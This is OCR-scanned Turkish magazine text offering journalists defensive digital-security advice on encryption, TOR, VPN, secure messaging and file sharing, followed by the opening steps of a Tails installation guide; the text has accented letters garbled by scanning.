boot saldirisi gibi yiiksek nitelikli saldirilar ile sifreleme
anahtarlarinizin ¢alinmasi veya isletim sisteminizi yiikleyen
6n yazilimlarin degistirilerek cihazinizin erisilebilir kilinmasi
fiziki erisimi gerektirmekte ve dnlemenin en etkili yontemi de
cihazlarimizi gergekten giivenmediginiz alanlar diginda yani-
nizdan ayirmamaktir. Seytani hizmetci (Evil Maid) kurbani
olmamak i¢in cihazlarinizi koruyun.

b. Cihaz Giivenligi:

Kullandigimiz cihazlara giivenemiyorsaniz alabileceginiz tim
tedbirler yersiz olacaktir. Kullandiginiz donanimlarin giive-
nilir kaynaklardan elde edilmis olmasi, giivenilir yazilimlar
caligtirmasi ve tim verilerin sifreli olarak saklanmasi siirdii-
riilebilir bir operasyon biitiinliigii i¢in sarttir.

i. Donanimlar:

Cihazlarinizi belirlenebilir veya tahmin edilebilir yerlerden
satin almayin ve giivenilir bilinen markalarin cihazlarini ter-
cih edin. Bu anlamda kullanacaginiz cihazlarin 6zgiir yazilim-
larla' caligmas: bir gereklilik. Bu sebepten Gnu/Linux destegi
iyi olan bir bilgisayar ile 6zgiir bir Android dagitimi olan Li-
neageos" calistirabilecek bir cep telefonu size en iyi hizmeti
verecektir. Usb donanim ve depolama aygitlarinizi da benzer
sekilde se¢in ve bilmediginiz veya buldugunuz cihazlar: kul-
lanmayn, donanimlariniza baglamayin. Sayet bu konuda cid-
di iseniz Purism’in'* cihazlarina bakmaniz siddetle 6nerilir.

ii. Ozgiir Yazilimlar Kullanin ve Giincel Tutun:
Cihazlarinizda miimkiin olan her imkanda 6zgiir yazihmlar
kullanin ve bunlar1 giivenilir kaynaklardan yiikleyin. Bu 6n-
celikle isletim sisteminizden baglamali ve kullandiginiz diger
tiim yazilimlara yayilmalidir. Modern bir is yasantist i¢in 6zel
miilk versiyonlarmni aratmayacak ¢ok¢a yazilim mevcuttur.
[letisim igin Signal'’, SMS icin Silence, ofis yazilimlari igin
Libreoftice, fotograf diizenleme icin Gimp, video diizenleme
i¢cin Kdenlive kullanabilirsiniz. Yazilimlarin 6zgiir alternatif-
lerini aramak igin alternativetodan'® yararlanabilirsiniz. Tim
Gnu/Linux dagitimlar1 kendi yazilim depolar: ile gelmekte
ve Android cihazlar i¢in F-droid” sadece 6zgiir yazilimlar:
barindirmaktadir. Tim yazilimlarinizi ve isletim sisteminizi
diizenli olarak giincellemeniz de sizi daha da pahali bir hedef
haline getirecektir.

11 https://en.wikipedia.org/wiki/Cold boot attack
12 https://www.gnu.org/philosophy/free-sw.html
13 https://lineageos.org/

14 https://puri.sm

15 https://www.signal.org/
16 https://alternativeto.net/

17 https://f-droid.org/
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iii. Her Seyi Sifreleyin!

Sifreleme cihazlarimizin hafizasindaki verinin bir anahtar ve
kriptografik ara¢ yardimu ile anlamsiz hale getirilmesidir. Bu
sayede, sadece anahtara ve parolasina sahip kisiler bu veriyi
okuyabilir. Ekran kilidi ile karistirilmamasi gerekir keza cihaz-
lar i¢in agilirken, dosyalar igin ise erisilirken parola ve anahtar
bilgisinin verilmesi gerekir.

Sifreleme derin bir konu olmasimna ragmen uygulamasi ve
kullandig1 yontemler bakimindan birkag¢ temel ayrim yapi-
labilir. Temelde anahtarina gore sifreleme sistemleri simetrik
ve asimetrik olarak ayrilir. Simetrik sifreleme ayni anahtar ve
parola ile sifreleme ve desifre iglemlerinin yapildigi, asimet-
rik sifrelemede ise sifreleme ve desifre islemlerini bir anahtar
ciftinin farkli eslerinin yaptig1 yontem olarak ozetleyebiliriz.
Sifrelemeyi kullanilan alan ile de ayirmak miimkiin. Iletigimi
sifrelemek, bir kayit medyasini tamamen sifrelemek, bir dosya
sistemini sifrelemek ve bir dosyay1 6zel olarak sifrelemek de
miimkiindiir. Bu bakimdan her ihtiya¢ kendine has teknik ter-
cihi gerektirir. Sifreleme derin bir konu oldugundan referans
olmast i¢in Jean-Philippe Aumasson tarafindan yazilan Serio-
us Cryptography’nin okunmasi tavsiye edilir.

Tam disk sifreleme, bir sabit siiriictisiiniin i¢indeki tim bil-
gilerle birlikte sifrelenmesi anlamina gelir. Bu sekilde cihaz
her baglatildiginda stiriiciideki tiim bilginin desifre edilmesi
gerekir. Calinan veya ele gegirilen bir bilgisayardan bilgi elde
edilmesi bu sayede engellenmis olur. Bir donanimin i¢indeki
verilere iligkin ilk savunma hatt1 sayilan bu yéntem, Gnu/Li-
nux dagitimlarinda “Luks'®” ile dogal olarak desteklenmekte,
diger igletim sistemleri i¢in ise Veracrypt' yazilimi ile sagla-
nabilmektedir. Sifrelenmis her cihazin parolasinin Diceware
ile tiretilmesi ve farkli olmas: kesinlikle gereklidir.

Kritik dosyalarinizi tam disk sifrelemeye ragmen sifreli tut-
maniz fazladan giivenlik saglayacaktir. Tam disk sifreleme
agildiginda stirticiintizdeki tiim bilgileri agiga ¢ikaracagindan
ikinci bir savunma hatti hassas verileriniz i¢in disiiniilmesi
gereken bir secenektir ve bunun igin e-posta sifrelemede de
kullanilan GPG yazilimini 6nerilebilir.

Sifreleme ile ilgili en 6nemli tehlike veri kurtarmanin neredey-

se imkansiz olmasidir. Bu sebeple sifreleme i¢in kullandiginiz
parolalar1 mutlaka iyi ezberleyin, GPG gibi araglar i¢in gizli
anahtarinizi glivenli saklayin ve mutlaka diizenli olarak yine
sifreli yedekler alin ve bunlar1 giivenli bir yerde saklayin.

iv. GPS ve Kablosuz Aygitlar1 Gerekmedik¢e Kapatin:
Konum bilgisi ve hem GPS - ve diger uydu temelli konumlan-
dirma sistemleri — aracilig1 ile hem de Wifi ve Bluetooth aygit-

18 https://en.wikipedia.org/wiki/Linux Unified Key Setup
19 https://www.veracrypt.fr/en/Home.html
20 https://www.olaganparanoya.com/194-2/
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larimizin yayinlari ile elde edilebilir. Bu bilgi bulunulan duru-
ma gore ciddi riskler olusturabilir ve genel olarak cihazlariniz
ile birlikte sizin takip edilmeniz i¢in imkan saglar. Cihazlari-
nizda ozellikle konum bilgisine ihtiyaciniz olmadig1 durum-
larda bu aygitlar etkinlestirmeyin ve miimkiinse konum i¢in
sadece GPS verisi ile hareket edin.

v. Kapka¢’a Kars1 Onlem Alin:

Ozellikle mobil cihazlar igin alinan tedbirlerin etrafindan
dolanmanin ucuz ve etkili bir yontemi olarak cihazlarin ek-
ran kilidi agik oldugu sirada kullanicisindan hizlica alinmasi
gergek hayatta kullanilmig bir yontemdir. Bu yonteme karsi
F-droidde bulunabilecek PlucklockEx kullanmaniz onerilir®.
Bu yazilim cihazinizdaki jiroskop araciligi ile ani bir hizlanma
oldugunda cihazin ekrani kilitlemektedir. Bu sayede telefonu-
nuzu kullanirken elinizden alinmasi durumunda saldirgan ci-
haz islevlerine ulasamayacaktir.

c. Ag Giivenligi:

Internete baglantiniz cihazinizin ag kartindan baglar. Bunun
i¢in yaygin olarak artik kablosuz aglar tercih edilmekte. Agin
sahibi olan kisi tiim iletisiminizin de gozetmeni olabilir, ciha-
zinz1 kotiiciil amaglarla yonlendirebilir veya sizin kimliginizi
ifsa edebilir.

i. Giivenmediginiz Aglara Baglanmayin ve VPN Kullanin:
VPN (Virtual Private Network)? cihazinizdan uzaktaki bir
sunucuya kurulan sifrelenmis bir iletisim hattidir. Bu sayede
iletisiminiz baglandiginiz sunucuya kadar aga yani altyapiya
sahip kisilerce denetlenemez veya degistirilemez. Her zaman
gtvenilir bir VPN hizmet saglayicidan yararlanmali veya ken-
di VPN’inizi kurmalisiniz”. VPN sizi yeterince anonim ya-
pamaz, sadece altyapiya ait gliveni VPN hizmet saglayiciniza
aktarir. Bu sebeple sadece bir tedbir olarak siirekli kullanilma-
lidir.

(i) --- Dergimizin 1. sayisinda Omer Citak tarafindan, “Kendi Baglantim” ile VPN
Sunucunuzu Kurun, adli makalede kendi VPN’inizi nasil kuracagimz anlatilmigtir.

ii. TOR Kullanin:

TOR (The Onion Network) cihazinizin baglantisini sifreli ola-
rak rastgele goniilliiler tarafindan diinyanin ¢esitli yerlerinde
isletilen aracilardan gecirerek kimliginizi ve konumunuzu giz-
lemeye yarar. Anonimlik konu oldugunda elde edebileceginiz
en 6nemli araglardan biri olarak TOR diinya gazetecileri i¢in
vazgecilmez bir ara¢ konumundadir. Kisisel bilgisayarlar ve
mobil cihazlar i¢in TOR Tarayicisi*, TOR agini kullanmanin
en kolay yoludur. TOR'u siirekli kullanabilirsiniz fakat hem

21 https://www.olaganparanoya.com/telefonunuz-ile-ilgili-kolaylikla-
alabileceginiz-14-onlem/

22 https://en.wikipedia.org/wiki/Virtual private network

23 https://www.kendibaglantim.com/
24 https://www.torproject.org/

tarayicinin aldig1 tedbirler web sayfalarii bozabilir hem de
TOR%a karg1 alinan engeller baz: sitelere erismenizde zorluk
yaratabilir. Bu sebeple VPN ile birlikte kullanildiginda ¢ok
yonlii bir anonimlik ve giivenlik saglamaktadir fakat anonim-
liginize iliskin disiplini gerektiginde korumali ve kimliginizi
ifsa edecek islemleri TOR iizerinden yapmamalisiniz.

iii. MAC Adresinizi Gizleyi:.

MAC adresi®, cihazinizin ag donanimini belirgin sekilde ta-
nimlayan ve sizinle iligkilendirilmesi durumunda bir takip
cihaz1 gibi izlenmenize imkan veren bir bilgidir. Cihazinizin
MAC adresinin nasil degistirilebilecegini bilin ve giivenme-
diginiz aglara baglanmadan 6nce mutlaka bu adresi rastgele
bagka bir adres ile degistirin. Cihazlarinizin, 6zellikle mobil
cihazlarimizin kablosuz baglantisini ve Bluetooth baglantisi-
ni1 siirekli acik birakmaniz cihazinizin MAC adresini ve daha
once bagl oldugu aglarin bilgilerini siirekli olarak yayinlama-
sina sebep olur. Bu sebeple cihazlarimizin kablosuz baglantila-
rin1 kullanmadiginizda mutlaka kapatin.

d. Hesap ve Yazilim Giivenligi:

Kullandigimiz yazilimlar ve bu yazilimlar aracihigs ile gercek-
lestirdiginiz islemler sizi belirlenebilir kilabilir. Bu iletisim i¢in
kullandiginiz yazilimdan, web sitelerini gezdiginiz tarayicini-
za kadar uzanan genis bir hizmet araligini kapsar.

i. E-posta:

E-posta dogas1 geregi giivensiz bir iletisim yontemidir. Her
seyden Once sizi takip eden ve pazarlayan {icretsiz e-posta
saglayicilar1 kullanmaktan vazgecin. Bunun yerine ayda kii-
¢iik bir ticret karsilig1 size giivenilir e-posta hizmeti verecek
bir e-posta hizmet saglayicisina ge¢in. Bunun i¢in Posteo® ve
Mailbox* geleneksel e-posta hizmet saglayicilar olarak oneri-
lebilir ve sifreleme imkanlarinin dahili geldigi Tutanota® ve
Protonmail® sayilan servis saglayicilardandir.

E-postalariniza bilgisayarinizda kullandiginiz bir istemci ile
ulagtyor iseniz 6zgiir bir istemci olan Thunderbird® kullanin.
Hem 0zgiir yazilimin giivenliginden faydalanin hem de GPG
ile sifrelemeye hazir olun.

GPG ile e-postalariniz sifreleyin ve sifrelemeye hazir olun.
GPG Edward Snowdenn sizintisinda ¢ok 6nemli bir rol iist-
lenmis e-posta ve dosya sifreleme sistemidir. Oyle ki; taninmug
gazeteci Glen Greenwald’un ismi, GPG kullanmay1 6grene-
medigi i¢in neredeyse Snowden sizintisinda duyulmayacakt.
GPG ile e-postalarinizi sifreleyebilir veya sizden geldigine ka-

25 https://en.wikipedia.org/wiki/MAC _address

26 https://posteo.de/en
27 https://mailbox.org/en/
28 https://tutanota.com/

29 https://protonmail.com
30 https://www.thunderbird.net/en-US/




nit olmasi i¢in imzalayabilirsiniz. Thunderbirde kuracaginiz
Enigmail® eklentisi ile anahtarimizi olusturabilir yonetebilir
ve rahathikla kullanabilirsiniz. Mailbox ve Protonmail gibi
GPG destekleyen e-posta hizmet saglayicilar ile biitiinlesik bir
kullanim saglayabilirsiniz. GPG kullanmasi zor ama gercek-
ten etkili bir aractir. Bunun igin gerekmeden 6nce hazirlan-
mak ve giinlitk kullanimin bir parcasi haline getirmek sarttir.
Riseup’n rehberinin konu hakkinda okunmasi hararetle tav-
siye edilir.*

ii. Anlik Yazisma:

Anlik yazisma giinliik iletisimin en 6énemli par¢alarindan biri.
Bu bakimdan en 6nemli bilgilerin de iletildigi ve kisilerin
sosyal baglantilarini da ifsa eden bir konumda. Bu yazigma
platformlarimin giivenligi genel operasyon giivenliginin kagi-
nilmaz bir 6gesi. Bu bakimdan tiim diinyada gazeteciler ve di-
ger herkes i¢in altin standart haline gelmis olan 6zgiir, yaygin
ve kolay kullanilabilir Signal yazilimi tavsiye edilebilir. Signal
yazigmalar1 ugtan uca sifrelemekte, ses ve goriintiili konusma
imkani saglamakta. Her kriptografik ara¢ gibi baglanti kuru-
lan kisinin sifreleme anahtarinin dogrulanmasi zaruri. Bu se-
kilde araya bir saldirganin girip iletisimi denetlemediginden
emin olunabiliyor.

Signal, kayit i¢in cep telefonu numarasi istedigi i¢in anonim
kullanim1 zor bir yazilim ve bu noktada eski bir dost olan
XMPP* ve OTR* devreye giriyor. Snowden belgelerinde
NSAnin agamadig iletisim yontemlerinden biri oldugunu da
belirtmek gerekli. Calyx Instituteden® alinacak anonim bir
hesap iizerinden OTR sifreleme kullanan Pidgin aracilig: ile
kolaylikla sifreli yazigma yapilabilir. OTR kisilere giiven esasi-
na dayandigindan “kisi dogrulama” segenegi ile iki kisi arasin-
daki ortak bir sir tizerinden anahtar dogrulamasina da imkan
vermekte. Riseup’in rehberi yine bu konuda 6nerilebilir.*

SMS ise giiniimiizde unutulsa bile her Internet kesintisinde
akallara geri gelen bir yazili iletisim y6ntemi. SMS dogas: ge-
regi kaynak sorunu ¢ekmeyen saldirganlara karg1 giivenli bir
iletisim sistemi degildir. Bu sebeple Silence®” cihazinizdaki
varsayilan SMS yazilimi yerine kullanabileceginiz ve Silence
kullanan diger cihazlarla uctan uca sifreli yazisma yapabilece-
¢iniz 6nde gelen yazilimdir.

iii. Web Gezintisi ve Tarayic1 Giivenligi:

Web gezintileriniz sizin hakkinizda ¢ok detayl bir profil ¢i-

31https://www.enigmail.net/index.php/en/

32 https://riseup.net/en/security/message-security/openpgp

33 https://en.wikipedia.org/wiki/Xmpp

34 https://otr.cypherpunks.ca/

35 https://www.calyxinstitute.org/projects/public_jabber xmpp_server

36 https://riseup.net/en/security/message-security/otr

37https://silence.im/

ARKA KAPI Alper Atmaca - Gazeteciler Igin Sayisal Giivenlik

zilmesine ve ne kadar anonimlik saglayacak araglardan fay-
dalansaniz da kimliginizin tespit edilmesine imkan verebilir.
Webde hayatta kalmak igin gerekli sagduyuyu gelistirmek,
dogru yontemleri izlemek bir kisinin sayisal giivenligi i¢in
6nemli bir adimdur.

Bu bakimdan giinlik web kullanimlarimizda 6zgiir Firefox
tarayicisindan faydalanmaniz tavsiye edilir. Gerekli ayarlari
yaparak ve eklentileri ekleyerek tarayicinizin sizdirdig: bilgi-
leri ve mahremiyetiniz ile giivenliginizi etkileyecek tehlikeleri
bertaraf edebilirsiniz. Bunun i¢in VikingVPN’in 2019 rehbe-
rini 6neririm.*®

SSL (Secure Socket Layer)*, Web'in temel sifreleme yontemi-
dir. Tarayicilarin adres ¢ubugunda yesil anahtarin ¢ikmasinin
sebebi olan bu teknoloji, sertifika saglayicilarin giivenine da-
yanir. SSL baglantisi imkani vermeyen sayfalar1 agmak veya bu
sayfalara veri girmek giivenlik i¢in risk olusturabileceginden
tarayicinizda HTTPS Everywhere eklentisi gibi SSL baglanti-
sin1 zorlayacak bir eklentinin bulunmas: faydalidir.

Webde nasil gezindiginizin ve olas1 tehditlerin farkinda olma-
niz gerekli. Oncelikle gerezler (cookies) ile miicadele etmeyi
Ogrenin. Cerezler, tarayiciniza yerlestirilen, aslinda sayfay:
kullanmaniz i¢in gerekli islevler i¢in tasarlanmis kii¢tik dos-
yalardir fakat bu sistemi kullanarak bir ¢ok reklam sirketi sizi
izlemeye ve profillemeye ¢alisir. Bu sebeple, tarayici ayarlari-
nizdan 3. taraf gerezlerini engellemeli ve CookieAutoDelete
eklentisi ile tarayicinizin her sekmeyi kapattiginizda otomatik
olarak o sekmeye ait gerezleri temizlemesini saglayin.

iv. Dosya Paylasimu:

Dosya paylasimyi, 6zellikle dosyalarin e-posta veya anlik yazis-
ma yazilimlari aracilig1 ile gonderilemeyecek kadar biiyiik ol-
dugu durumlarda kritik bir 6neme sahip. Taraflarin sifreleme
kullanmadig1 her durumda dosya paylasim hizmeti veren her
kurum nihayetinde kendilerine ulasan belgeleri okuyabilme,
degistirebilme ve erisenleri tespit edebilme yetkisine sahip.
Buna iligkin bir slogan “bulut yoktur, baskalarinin bilgisaya-
r1 vardir.®”” der. Korumak istediginiz kaynak ve bilgileri bir
baskasina paylasmamak gibi baska birinin bilgisayarina yiik-
lemek de sikint1 olusturacak bir durum. Dosya paylasmanin
glivenli yontemlerinin kullanilmasi genel olarak gerekli goriil-
mektedir.

Dogrudan dosya paylagimi i¢in TOR agini1 kullanan OnionS-
hare* ilk tercih olabilir. Bu sekilde dosya herhangi bir araci
olmadan bir bilgisayardan bir bagkasina TOR aginin giivenligi

38 https://vikingvpn.com/cybersecurity-wiki/browser-security/guide-hardening-
mozilla-firefox-for-privacy-and-security

39 https://en.wikipedia.org/wiki/SSL

40 https://www.gnu.org/philosophy/who-does-that-server-really-serve.html
41 https://onionshare.org/




Alper Atmaca - Gazeteciler Igin Sayisal Giivenlik ARKA KAPI

tizerinden dogrudan aktarilmakta. OnionSharee gerekli dos-
yalar1 yiikledikten sonra olusturdugu TOR baglantisini alici
ile paylasabilirsiniz. Dosya TOR tarayicisi aracisiyla indirildi-
ginde OnionShare otomatik olarak kapanacaktir.

Sadece paylagmanin yeterli olmadig1 depolamanin da gerekli
oldugu “bulut” kullanimlarinda ise bagka bir yontem izlemek
gerekecektir. Sifreleme kars tarafin da dosyaya erismesini im-
kansiz kilacagindan, nihai tek giivenli yol kendi sunucunuzu
isletmekten ve cihazinizi fiziken elinizde bulundurmanizdan
gegmekte. Nextcloud* kendi sunucunuz tizerinde ¢alistira-
bileceginiz bir dosya paylasim ve isbirligi yazilimlar: platfor-
mudur. Bu sekilde hem kendi depolama alaninizi olusturup
EncFS* gibi bir arag ile sifreli depolama yapabilir hem de ge-
rektiginde disa a¢ik bir klasor ile dosya paylasimi yapabilir-
siniz. Nextcloud eski donanimlar veya bir Raspberry Pi* gibi
kiigiik cihazlarda kolaylikla ¢alisabilen ve kolaylikla kurulan
bir yazilim.

v. Hesap Yonetimi:

Kullanilan sosyal medya hesaplar1 dahil tiim ¢evrimigi sis-
temlerin yonetimi kigilerin Internet'teki gériiniimlerinin de
onemli bir par¢asini olusturmakta. Burada temel kural kul-
lanilan hizmetlerin erisim gerekliliklerini korumaktir. Bu ba-
kimdan her kullanilan hizmete Diceware parolasi ile giivene
alinmig bir parola yoneticisinden alinmig rastgele 16 ve daha
uzun benzersiz parolalar atamak, kullandiginiz hizmetin bil-
gilerinizi koruyamamasi durumunda saldirganlarin ortaya ¢1-
kan veriler ile diger hizmetlere erismesini engeller.

Facebook, Twitter ve benzeri iletisim imkan1 da sunan hiz-
metler tizerinden Kkisilerle iletisiminizi miimkiin olan en az
seviyede ve olabilecek en az detayla siirdiiriip en kisa siirede
giivenli bir bagka araca ge¢meli ve yazigmalar1 silmelisiniz.
Boylece, hesabinizin giivenliginin ortadan kalkmasi kaynagi-
nizin da ifsa olmasina engel olacaktir.

vi. Fotograf ve Exif* Bilgisi:

Fotograf makinesi ve mobil cihazlar ile ¢ekeceginiz tiim fo-
tograflar Exif bilgisi adiyla gecen; cihaz bilgisi, konum bilgisi
ve tarih gibi 6nemli detaylar iceren bir ek icerir. Bu bilgiyi ice-
ren bir fotografi sosyal medyaya yiliklemeniz veya bir kisi ile
paylasmaniz, kullandiginiz cihaza bagli olarak fazlasiyla sizi
tanimlayan bilgiyi aktarmaniza sebep olabilir. Bu veriyi pay-
lasacaginiz gorsellerden ¢ikarmak i¢in Android cihazlariniz
i¢in “Scrambled Exif*®” yazilimini, Gnu/Linux dagitimlari i¢in
“Exiftool” kullanabilirsiniz.

42 https://nextcloud.com/
43 https://vgough.github.io/encfs/

44 https://www.raspberrypi.org/

45 https://en.wikipedia.org/wiki/Exif

46 https://f-droid.org/en/packages/com.jarsilio.android.scrambledeggsif/

3. Mahremiyet Araglar::
a. Tails*”

Tails bir Gnu/Linux dagitimidir. Diger dagitimlardan farkli
olarak sadece bir amag¢ disiiniilmiistiir; anonimlik. Bu bakim-
dan Tails, canli caligmak ve yapilan her degisikligi unutulmasi
tizere kurgulanmustir. Tails’i bir usb bellege veya daha iyisi bir
optik diske yazarak cihazinizi bu donanimlar tizerinden ¢alis-
tirabilirsiniz. Tails TOR, XMPP, OTR gibi bu rehberde anlati-
lan tiim gerekli araglar ve daha fazlasini kendi iizerinde barin-
dirir. Her agildiginda size ihtiyaciniz olabilecek ayarlar1 sorar
ve kapattiginizda her seyi, tamamen unutur. Ayn: zamanda
isletim sistemi ve igindeki her yazilim en yiiksek giivenlik ve
izlenme karsit1 tedbirlerle caligir. Bu ayarlar: degistirmemeniz
ve Tails’i oldugu gibi kullanmaniz 6nerilir.

Tails’i giivendiginiz bir kaynaktan indirmek, dogrulamak ve
bir medyaya yazmak zorundasiniz. Bu bakimdan Tails her sii-
rimiini GPG ile sifrelemekte ve giivendiginiz bir Kiginin Tails
kurulumundan yeni bir Tails medyasi yazabilirsiniz. Bu sebep-
le, Tailse baslamak i¢in en iyi yontem Tails kullanan gtivendi-
giniz birini bulmak ve daha sonra bu giiveni koruyarak Tails
glincellemelerini takip edip yeni kullanicilar: desteklemektir.

(i) --- Bu saymmizda Iz Birakmayan Isletim Sistemi: Tails adi ile kaleme alinmugtir.--

b. SecureDrop:

SecureDrop*, belge ve kaynaklarin gazetecilere ve kurumlari-
na giivenle ulagmalarina imkan vermek iizere tasarlanmis bir
dosya paylasim sistemidir. SecureDrop ile yaymn kurulusunun
tiziken bulundurdugu bir sunucu istiinde galigan yazilima
anonim olarak TOR aracilig: ile kisilerin ulagmasi ve belge
paylasip anonim olarak giivenle iletisime gegmesi miimkiin.
Sistem hem TOR hem de ek sifreleme tedbirleri ile korundu-
gundan iki tanigmayan kisi arasinda yapilabilecek en giivenli
aktarimi miimkiin kilmakta.

SecureDrop’un sistemli olarak isletilmesi ve korunmasi gerek-
tiginden, bir basin kurumunun bu sistemi isletmesi ve koru-
mast daha olasi bir imkan. Her giivenlik sistemi gibi isletmesi
stirekli bir disiplini gerektirdiginden ve 6zel kosullar1 oldu-
gundan SecureDrop’un detayli belgelendirmesi* ¢ercevesinde
ilerlenmesi tavsiye edilir.

¢. Haven:

Guardian Project ve Edward Snowden® ortaklig: ile gelistiri-
len 6zgiir bir yazilim olan Haven, kullanilmayan veya amaca
ozgiilenen bir Android cep telefonu ile fiziki ortamlar1 koru-
may1 amagliyor. Giivendiginiz bir cihaza Haven'i yiikleyip ge-

47 https://tails.boum.org/
48 https://securedrop.org/

49 https://docs.securedrop.org/en/release-0.13.1/

50 https://en.wikipedia.org/wiki/Edward Snowden
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rekli ayarlar1 yaptiktan sonra bir alani izlemek iizere yerlestiriyorsunuz ve Haven size cihazdaki ses, 151k ve kamera gibi sensorler
aracihig ile bir degisiklik oldugunda Signal veya SMS ile bildirimde bulunuyor. Haven ayni zamanda bir TOR sunucusu agarak
yaptig1 kayitlara uzaktan giivenli olarak ulagmanizi da sagliyor. Bu sayede otel odasi gibi yabanci olunan yerlerde fiziki giivenlik
saglamak miimkiin oluyor. Haven hala beta agamasinda ama pekala kullanilabilir bir beta oldugunu belirtmek gerekiyor.

(i) --- Dergimizin 4. sayisinda Micah Lee tarafindan kaleme alinan, Laptopum Hacklendi mi? adli makalede konunun Haven'in detaylarini bulabilirsiniz. ---

d. Okuma Listesi:

https://riseup.net/en/security
https://ssd.eff.org/
https://www.securityplanner.org/
https://network23.org/kame/
www.olaganparanoya.com
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Ahmet Oguz Mermerkaya

www.abakuskitap.com
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|z Birakmayan Isletim Sistemi:

Tails
[The Amnesic Incognito Live System)

ilar 6nce bir tatil beldesinde e-postalarima erigmek

i zorunda kalmus, fakr u zaruret igerisinde beldede o an

bilgisayar kullanan birinden birkag dakikaligina bilgi-
sayarini rica etmis idim.

Hizlica e-postalarimi kontrol edip, tesekkiir ederek bilgisaya-
rini iade etmis, ama bu defa zihnimde binlerce soru ile basba-
sa kalmigtim.

E-posta otururumu dogru bir bigimde kapatmis miydim? Bil-
gisayarini emaneten aldigim kisinin bilgisayarinda keylogger
vb. zararli bir yazilim olabilir miydi?

Yapilacak tek sey, giivenilir bir bilgisayara ilk ulastiZimda
e-posta parolami tekrar degistirmekti.

Bu ve benzeri pek ¢ok ihtiyagtan otiirti bagkalarinin bilgisaya-
rint kullanmak zorunda kaldigimiz durumlar olabilir. Ozel-
likle de iiniversite 6grencileri okullarinin bilgisayar laboratua-
rinda e-postalarini okumak, sosyal medya hesaplarini kontrol
etmek gibi pek ¢ok sahsi iglemi yapmaktalar. Bu islemlerden
sonra i¢lerine benim gibi kurt diisityor mu bilmem ama neti-
cede potansiyel olarak yukarida saydigim riskler, eksigi olup
fazlas1 olmamak kaydiyla onlar i¢in de gegerli.

Sadece bagkalarinin kullandig: bilgisayarlar i¢in degil, kendi
bilgisayariniz i¢in bile zaman zaman yaptiginiz islemlerin bil-
gisayarinizda iz birakmamasini; hirsizlik ya da adli bir ince-
leme durumunda 6nem atfettiginiz datalara erisilememesini
arzu ediyor olabilirsiniz.

Hemen olay1 kriminalize etmeyin. Gizlilige sadece suglularin
degil, hepimizin ihtiyac1 var. Diinyanin pek ¢ok bélgesinde
gazeteciler, hak savunucular1 baskisi rejimlere kars1 savastyor;
Dogu Tiirkistandaki Miisliiman Tiirkler Cin'in dijital gozeti-
mine karg1 bulabildikleri her yolu deniyorlar.

Bu yazimizda gerek kendi bilgisayariniz, gerek bagkasina ait
bir bilgisayar: ardinizda veri birakmadan kullanabilmenizi
saglayan bir isletim sisteminin kurulum ve kullanimina yer
verecegiz: Tails

Tails, The Amnesic Incognito Live System, kelimelerinin bag
harflerinden miitesekkil bir kisaltma.

Amnesic 6zelligin isletim sisteminin bir biitiin olarak RAM
tizerinde ¢aligmasi, hard diske veri yazmamasini isaret ediyor.
Bu sebeple bir forensic isleminde datalara erisim elde edile-
meyecektir.

Incognito ise sistemin anonim kimligine isaret ediyor. Sistem
tiim internet ¢ikislarini Tor networkii {izerinden yapiyor. Tor
hakkinda ayrintili bir aragtirmaya Arka Kapi Dergi 2. Sayisin-
da Mehmet Enes Ozen imzast ile yayinlanan yazida ulagabi-
lirsiniz.

Live ise sistemin taginabilirligini, ister bir CD, ister bir USB,
isterseniz de mini bir hafiza kartinda tasiyip, kullanacaginiz
bilgisayar1 bu arag ile baslatabileceginizi belirtiyor.

Tails’i indirmek i¢in https://tails.boum.org/install/ adresini zi-
yaret edebilirsiniz.

Ziyaret ettiginiz bu sayfanin gizli servisler tarafindan izlendi-
¢i, dolayisiyla Tails kurulum dosyasini indirdikten sonra arka-
daginiz ile paylasabileceginiz sekilde dizayn edildigi uyarisini
gormils olmalisiniz.

Biz burada okurun halihazirda Windows isletim sistemi kul-
landiginy, Tails kurulumunu gergeklestirmek i¢in de bu igletim
sistemi tizerinden gerekli islemleri yapacagini varsayacagiz.

Tails indirme sayfasinin bize sordugu ilk soru da bu varsayi-
mimizi destekler nitelikte. Yiikleme sayfasinda Tailsi hangi
isletim sistemi tizerinden kuracagimiz soruluyor.
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Windows yazan butona tiklayip devam ediyoruz.

search

{3}  Download and install Tails English DE ES FA FR IT PT

| Download and install Tails

Thank you for your interest in Tails.

Installing Tails can be quite long but we hope you will still have a good time :)

We will first ask you a few questions to choose your installation scenario and then guide
you step by step.

Which operating system are you installing Tails from?

« Dov ticks.

Bu segenekten sonra bizi karsilayan sayfa Tails ytiklemesini nasil gerceklestirecegimizi soruyor. Glivendigimiz bir arkadagimi-
zin Tails yiiklemesi tizerinden mi devam edecegiz, yoksa Windows bir makine tizerinden Tails’i yeni bagtan mi1 kuracagiz.

& Tails

theamnesicincognitolivesysterm
{2t  install  Windows English DE ES FA FR IT PT
I Windows
INSTALL FROM ANOTHER TAILS DOWNLOAD AND INSTALL
If you know semeone you trust who uses Tails already, then You need:

you can install your Tails by cloning from their Tails.

» 1 USB stick (at least 8 GB)
+ 1 hour to download Tails (1.2 G8)
= ¥ hour to install

You need:

« 1 other Tails (USE stick or DVD)
« 1 USB stick (at least 8 GBI
= ¥ hour to install

Tails'i Windows bir makine iizerinde yeni bastan kuracagimizi belirtiyoruz.

Bu segenekle ile birlikte en az 8 GB’lik bir USB diske; 1.2 GB boyutundaki Tails yiikleme dosyasini indirmek igin yaklasik 1
saatlik zamana, kurulum i¢in de 30 dakikalik bir siireye ihtiyacimiz olacak.
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Install from Windows

YOU NEED

O 8 0

1% hours in total 1 USE stick asmartphone

YOUR STEPS

BB e B e

Download Install Restart Canfigure Restart

Sirast ile gerceklestirecegimiz islemlerin 6zetini veren bir sayfa bizi karsiliyor.
Takip edecegimiz adimlar sunlar olacak:

o Tails kurulum dosyasini indirmek
o Tails’i diske yiiklemek

o PCyi Tails disk ile bot etmek

o Tails1 konfigiire etmek

o Sistemi tekrar baslatmak.

Let’s Go butonunu tiklayarak devam ediyoruz.

Tails’i yiiklemeye ve bu yaziy1 bu noktaya kadar okuma- . ®

ya karar verdiyseniz muhtemelen kendinizi resmi ya da % Ta I Is
resmi olmayan kurumlarin gozetim tehditi altinda gorii- i
yorsunuz. Bu sebeple Tails kurulum isleminde bile bir dizi
saldirinin hedefi olabilirsiniz. I

theamnesic

A install = win  Install from Window English DE ES FA FR IT PT

Install from Windows
Tails’i indirirken baglantinizi ele gegirmis bir saldirgan

ortadaki adam (Man in The Middle - MiTM) saldirisi1 ile 15 Download Tails 3.13.1
indirmek istediginiz dosyay, kendi dizayn ettikleri ve go-

